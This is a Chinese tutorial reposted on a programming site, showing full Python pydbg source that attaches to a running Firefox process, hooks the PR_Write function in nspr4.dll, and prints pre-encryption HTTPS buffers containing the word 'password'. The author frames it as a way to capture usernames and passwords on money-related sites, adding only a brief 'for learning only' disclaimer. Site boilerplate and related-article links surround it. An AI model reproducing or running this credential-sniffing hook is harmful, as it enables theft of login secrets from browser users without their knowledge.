我的编程空间,编程开发者的网络收藏夹
学习永远不晚

利用python的hook技术破解htt

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

利用python的hook技术破解htt

    相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "password" 
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1: 
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00": 
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else: 
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 寻找firefox.exe的进程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe": 
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") 
  37.         if hook_address: 
  38. # 添加hook的内容,包括他的pid,地址,嗅探类型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else: 
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1) 
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else: 
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1) 
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else: 
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1) 

演示视频见链接:http://www.linux520.com/stcs/2011-03-18/174.html#ecms 

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

利用python的hook技术破解htt

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

利用python的hook技术破解htt

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是
2023-01-31

PHP框架中的缓存技术详解:提升应用性能的利器

缓存技术可提升 php 应用性能,通过存储数据副本实现快速访问。主流 php 框架提供缓存支持,如 laravel 提供多样化的缓存驱动,symfony 提供灵活的缓存组件,zend framework 提供抽象层以轻松切换适配器。实例如:
PHP框架中的缓存技术详解:提升应用性能的利器
2024-05-23

利用Python+Selenium破解春秋航空网滑块验证码的实战过程

目录前言开发工具环境搭建实战记录一.验证码简介二.破解滑块验证码2.1计算滑块到缺口的距离2.2将滑块拖到缺口位置前言 记录一次利用Python+Selenium破解滑块验证码的实战过程。 让我们愉快地开始吧~开发工具 Python版本:
2022-06-02

利用MongoDB技术开发中遇到的字段冲突问题的解决方案探究

利用MongoDB技术开发中遇到的字段冲突问题的解决方案探究摘要:MongoDB作为一种非关系型数据库,广泛应用于各种规模的应用程序中。但在开发过程中,我们经常遇到字段冲突的问题,即同一文档中存在相同字段名的情况。本文将探究在使用Node.
2023-10-22

利用MongoDB技术开发中遇到的数据删除问题的解决方案探究

利用MongoDB技术开发中遇到的数据删除问题的解决方案探究引言:随着互联网和移动互联网的兴起,数据的管理变得愈发重要。在开发过程中,我们经常需要进行数据的添加、修改和删除等操作。而在使用MongoDB这样的NoSQL数据库时,我们常常会遇
2023-10-22

利用MongoDB技术开发中遇到的查询优化问题的解决方案探究

利用MongoDB技术开发中遇到的查询优化问题的解决方案探究摘要:随着数据规模的增大,MongoDB在开发实践中常常遇到查询性能不佳的问题。本文将以具体的代码示例为基础,深入分析在MongoDB开发中遇到的查询优化问题,并提供相应的解决方案
2023-10-22

利用MongoDB技术开发中遇到的查询错误问题的解决方案探究

利用MongoDB技术开发中遇到的查询错误问题的解决方案探究摘要:MongoDB是一种非关系型数据库,以其高性能、易扩展、灵活的特点,广泛应用于各种互联网应用和大数据场景。然而,在实际的开发过程中,我们可能会遇到一些查询错误的问题,如查询结
2023-10-22

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录